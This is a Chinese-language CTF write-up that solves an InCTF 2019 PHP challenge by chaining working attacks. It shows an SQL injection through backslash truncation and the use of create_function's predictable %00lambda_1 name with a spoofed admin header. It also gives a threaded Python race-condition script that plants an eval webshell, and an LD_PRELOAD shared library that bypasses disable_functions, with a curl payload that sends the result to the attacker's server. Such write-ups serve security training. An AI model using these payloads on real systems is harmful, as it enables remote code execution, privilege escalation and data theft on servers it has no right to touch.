前言
從一道ctf題中學會了利用LD_PRELOAD突破disable_functions。
題目分析
這是一個白盒測試,提供了完整的原始碼。下面是進入這個挑戰的首頁面,你將會看到一個簡單的登陸功能:
如果你分析下載的代碼的話,你將會看到用戶的帳戶名和密碼通過了下面的驗證。
login.php
<?php
include("config.php");
include("functions.php");
session_start();
$user = $_POST['username'];
$pass = $_POST['password'];
$user = check($user);
$pass = check($pass); //I know you are naughty!!
$sql = "SELECT username, password FROM inctf2019_cat WHERE username='" .$user ."' && password='" .$pass ."'";
$result = $conn->query($sql);
if ($result->num_rows > 0 || $_SESSION['logged']==1){
$_SESSION['logged'] = 1;
header("Location: admin.php");
}
else{
echo "Incorrect Credentials"."<br>";
}
$conn->close();
?>
可以看到通過用check對輸入的username和password進行過濾。我們隨後跟進check函數,這個函數函數的功能是首先使用real_escape_string函數將用戶輸入的特殊符號給轉義成完全的字符如(",',\)等,然後還要檢查長度值。
functions.php
<?php
session_start();
include("config.php");
function escape($str){
global $conn;
$str = $conn->real_escape_string($str);
return $str;
}
function check($tocheck){
$tocheck = trim(escape($tocheck));
if(strlen($tocheck)<5){
die("For God Sake, don't try to HACK me!!");
}
if(strlen($tocheck)>11){
$tocheck = substr($tocheck, 0, 11);
}
return $tocheck;
}
function ExtractZipFile($file,$path){
$zip = new ZipArchive;
if ($zip->open($file) === TRUE) {
$zip->extractTo($path);
$zip->close();
}
}
function CheckDir($path) {
$files = scandir($path);
foreach ($files as $file) {
$filepath = "$path/$file";
if (is_file($filepath)) {
$parts = pathinfo($file);
$ext = strtolower($parts['extension']);
if (strpos($ext, 'php') === false &&
strpos($ext, 'pl') === false &&
strpos($ext, 'py') === false &&
strpos($ext, 'cgi') === false &&
strpos($ext, 'asp') === false &&
strpos($ext, 'js') === false &&
strpos($ext, 'rb') === false &&
strpos($ext, 'htaccess') === false &&
strpos($ext, 'jar') === false) {
@chmod($filepath, 0666);
} else {
@chmod($filepath, 0666); // just in case the unlink fails for some reason
unlink($filepath);
}
} elseif ($file != '.' && $file != '..' && is_dir($filepath)) {
CheckDir($filepath);
}
}
}
function is_login(){
if($_SESSION['logged']!=1){
die("Login first");
}
}
function is_admin(){
if($_SESSION['admin']!="True"){
die("Sorry, It seems you are not Admin...are you? If yes, proove it then !!");
}
}
function send($random){
$phone_number="xxxxxxxxxx";
//Send random value to his phone number
}
?>
通過仔細的觀察上面的代碼,我們可以看到如果用戶的輸入值長度大於11個字符,則可以通過substr截斷輸入的值,結合上面提到的read_escape_string函數,這將給我們提供了SQL注入的可能。利用的方式如下:
payload
username = 1111111111\ , password = or 1#
result
$sql = "SELECT username, password FROM inctf2019_cat WHERE username='1111111111\' && password=' or 1#';
我們使用下面的代碼實驗一波:
<?php
function escape($str){
$str = addslashes($str);
return $str;
}
function check($tocheck){
$tocheck = trim(escape($tocheck));
if(strlen($tocheck)<5){
die("For God Sake, don't try to HACK me!!");
}
if(strlen($tocheck)>11){
$tocheck = substr($tocheck, 0, 11);
}
return $tocheck;
}
$username ="1111111111\\";
$password =" or 1#";
$user=check($username);
$pass=check($password);
$sql = "SELECT username, password FROM inctf2019_cat WHERE username='" .$user ."' && password='" .$pass ."'";
echo $sql;
最終的結果:
SELECT username, password FROM inctf2019_cat WHERE username='1111111111\' && password='or 1#'
現在我們可以繞過第一步成功的登陸,但是登陸後,你跳轉到admin.php頁面將會顯示Sorry, It seems you are not Admin…are you? If yes, proove it then !!
現在我們開始閱讀functions下面的原始碼找到如下的位置:
<?php
function is_admin(){
if($_SESSION['admin']!="True"){
die("Sorry, It seems you are not Admin...are you? If yes, proove it then !!");
}
}
這段代碼顯示了怎樣判斷用戶是admin的。現在我們要看它在哪裡設置了成為admin跟進到remote_admin.php。
<?php
include "functions.php";
session_start();
is_login();
# If admin wants to open his website remotely
$remote_admin = create_function("",'if(isset($_SERVER["HTTP_I_AM_ADMIN"])){$_SERVER["REMOTE_ADDR"] = $_SERVER["HTTP_I_AM_ADMIN"];}');
$random = bin2hex(openssl_random_pseudo_bytes(32));
eval("function admin_$random() {"
."global \$remote_admin; \$remote_admin();"
."}");
send($random);
$_GET['random'](); //Only Admin knows next random value; You don't have to worry about HOW?
if($_SERVER['REMOTE_ADDR']=="127.0.0.1"){
$_SESSION['admin'] = "True";
}
?>
通過分析代碼,我們可以看到僅當通過$_SERVER["REMOTE_ADDR"]訪問改頁面的IP為127.0.0.1時,會話中的admin值才設置為True。因此我們要用127.0.0.1來覆蓋$_SERVER["HTTP_I_AM_ADMIN"]的值,並通過調用create_function創建函數來實現。
但是你會發現上面的那個函數沒有辦法調用,因為你要構造一個admin_+$random =bin2hex(openssl_random_pseudo_bytes(32));的函數,然後通過$_GET['random']();傳入來調用,但是那個$random是隨機的你沒有辦法預測。
然後我們google了幾個小時找到了關於create_function注入的相關知識。
大家可以閱讀這兩篇博客:
PHP create_function()代碼注入create_function函數如何實現最後通過Google找到了php的create_function原始碼解決了這個問題。
zend_builtin_function.c
#define LAMBDA_TEMP_FUNCNAME "__lambda_func"
/* {{{ proto string create_function(string args, string code)
Creates an anonymous function, and returns its name (funny, eh?) */
ZEND_FUNCTION(create_function)
{
..省略..
function_name = zend_string_alloc(sizeof("0lambda_")+MAX_LENGTH_OF_LONG, 0);
ZSTR_VAL(function_name)[0] = '\0';
do {
ZSTR_LEN(function_name) = snprintf(ZSTR_VAL(function_name) + 1, sizeof("lambda_")+MAX_LENGTH_OF_LONG, "lambda_%d", ++EG(lambda_count)) + 1;
} while (zend_hash_add_ptr(EG(function_table), function_name, func) == NULL);
RETURN_NEW_STR(function_name);
} else {
zend_hash_str_del(EG(function_table), LAMBDA_TEMP_FUNCNAME, sizeof(LAMBDA_TEMP_FUNCNAME)-1);
RETURN_FALSE;
}
}
上面的原始碼中,我們可以看到create_function函數的返回值為\x00lambda_%d,並且實際的本地測試顯示匿名函數最終以\x00lambda_1,\x00lambda_2等字符串形式返回。
然後回到上面的代碼,我們可以預測$remote_admin變量中匿名函數的字符串名稱值,以便我們可以調用匿名函數來獲取管理員的權限,而無需直接調用admin_$random()函數。
繞過的payload如下:
GET /remote_admin.php?random=%00lambda_1 HTTP/1.1
Host: 3.15.186.158
Cache-Control: max-age=0
I-AM-ADMIN: 127.0.0.1
Cookie: PHPSESSID={你自己的cookie}
現在,獲得管理員權限後,如果我們再次訪問admin.php頁面將會有一個上傳功能。上傳功能的代碼如下:
upload.php
<?php
session_start();
include("functions.php");
is_login();
is_admin();
$SANDBOX = getcwd() . "/uploads/" . md5("xxSpyD3rxx" . $_SERVER["REMOTE_ADDR"] . "xxxisbackxxx");
@mkdir($SANDBOX);
@chdir($SANDBOX);
if (isset($_FILES['file'])) {
ExtractZipFile($_FILES['file']['tmp_name'], $SANDBOX);
CheckDir($SANDBOX);
echo "File is at: " . "/uploads/" . md5("xxSpyD3rxx" . $_SERVER["REMOTE_ADDR"] . "xxxisbackxxx");
}
?>
functions.php
<?php
..省略..
function ExtractZipFile($file,$path){
$zip = new ZipArchive;
if ($zip->open($file) === TRUE) {
// 解壓zip文件
$zip->extractTo($path);
$zip->close();
}
}
function CheckDir($path) {
$files = scandir($path);
foreach ($files as $file) {
$filepath = "$path/$file";
if (is_file($filepath)) {
$parts = pathinfo($file);
$ext = strtolower($parts['extension']);
if (strpos($ext, 'php') === false &&
strpos($ext, 'pl') === false &&
strpos($ext, 'py') === false &&
strpos($ext, 'cgi') === false &&
strpos($ext, 'asp') === false &&
strpos($ext, 'js') === false &&
strpos($ext, 'rb') === false &&
strpos($ext, 'htaccess') === false &&
strpos($ext, 'jar') === false) {
@chmod($filepath, 0666);
} else {
// 條件競爭寫入webShell
@chmod($filepath, 0666); // just in case the unlink fails for some reason
unlink($filepath);
}
} elseif ($file != '.' && $file != '..' && is_dir($filepath)) {
CheckDir($filepath);
}
}
}
..省略..
?>
代碼的流程如下:
解壓縮上傳的Zip文件到./uploads/md5_hex_value/目錄下,並且將會驗證上傳的文件後綴來判斷是否要刪除文件。但是上傳的文件是先保存後在刪除的,因此我們可以用條件競爭的方式來getshell。
在合天網安實驗室上面,大家就可以做相關的一個練習,php競爭條件漏洞
shell.php(將此文件壓縮成shell.zip)
<?php
mkdir("../shell/");
file_put_contents("../shell/webshell.php",'<?php eval($_GET[0]);?>');
?>
solve.py
import requests
import threading
def upload_zip():
for i in range(0,1000):
url = "http://3.15.186.158/upload.php"
multiple_files = [
('file', ('foo.png', open('./shell.zip',"rb"), 'application/x-zip-compressed'))]
header = {"Cookie":"PHPSESSID={你的cookie}"}
result = requests.post(url,headers=header,files=multiple_files).text
def get_shell():
for i in range(0, 10000):
url = "http://3.15.186.158/uploads/{你的MD5字符串}/shell.php"
header = {"Cookie": "PHPSESSID={你的cookie}"}
result = requests.get(url, headers=header).text
if "404 Not Found" not in result:
print result
threads = []
for i in range(0,100):
threading.Thread(target=upload_zip,args=('')).start()
threading.Thread(target=get_shell, args=('')).start()
如果你訪問生成的webshell,你將看到webshell已經正常上傳。現在,我們已經成功的上傳了webshell,但是我們還是不能去讀取flag存在的文件因為這個文件只有執行的權限,因此我們並不能通過簡單的file Function來獲取。
通過phpinfo()我們可以看到,disable_functions的設置如下:disable_functions
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,
pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,
pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,
pcntl_signal_get_handler,proc_open,pcntl_signal_dispatch,pcntl_get_last_error,
pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,
pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
error_log,system,exec,shell_exec,
popen,passthru,link,symlink,
syslog,imap_open,ld,mail,
fread,fopen,file_get_contents,readfile,
chdir
基本上,我們可以看到php中所有有關shell的函數都被禁用了,但是禁用函數列表沒有禁用putenv,因此我們可以使用LD_PRELOAD來突破disable_functions來執行系統命令。
LD_PRELOAD為我們提供了劫持系統函數的能力,但是前提是我們要控制php啟動外部程序才行(只要有進程啟動行為即可),我們常用的啟動一個新進程的方法有mail,imap_open,error_log,syslog和imagick(沒有安裝此模塊),其內部原理都是通過execve來開啟一個新的進程。
但是禁用函數列表全部把我們可以用的函數全部給禁用了現在我們就要看看php安裝了哪些可以用的模塊。
我們最後在phpinfo中看到了一個名為mbstring的擴展模塊。
如果安裝了該模塊,則可以使用Multibyte character encoding的功能,其中的mb_send_mail函數的功能可以替代mail,並且達到相同的效果,如下所示:
對於這個函數,由於它除了編碼部分其餘與mail函數一樣,因此通過execve進行sendmail調用是在內部進行的,並且不應用disable_function,因此我們可以通過使用LD_PRELOAD來劫持系統函數,執行系統命令。
下面簡要介紹一下LD_PRELOAD怎樣劫持系統函數。
1. 創建一個覆蓋execve的共享庫(例如:gcc -shared -fPIC getshell.c -o getshell.so)
2. 上傳.so文件。
3. 通過使用php的putenv來設置LD_PRELOAD,讓我們的動態連結程序被優先調用。
4. 調用一個函數(例如:mail,imap_open,error_log等),該函數在php內部調用execve。
執行上述過程的代碼如下:
getshell.c
#include <stdlib.h>
u_int getuid(void){
char *command;
command = getenv("shell");
system(command);
return 0;
}
php payload
/uploads/shell/webshell.php?0=putenv("LD_PRELOAD=/tmp/getshell.so");putenv("shell=curl http://你的ip地址:你的埠號/ -d id=`/readFlag|base64|tr -d '\n'`");mb_send_mail("a","a","a");
執行payload後,你將會在你的伺服器日誌中獲取flag。
Flag = inctf{Ohh,you_are_the_ultimate_chainer,Bypassing_disable_function_wasn't_fun?:SpyD3r}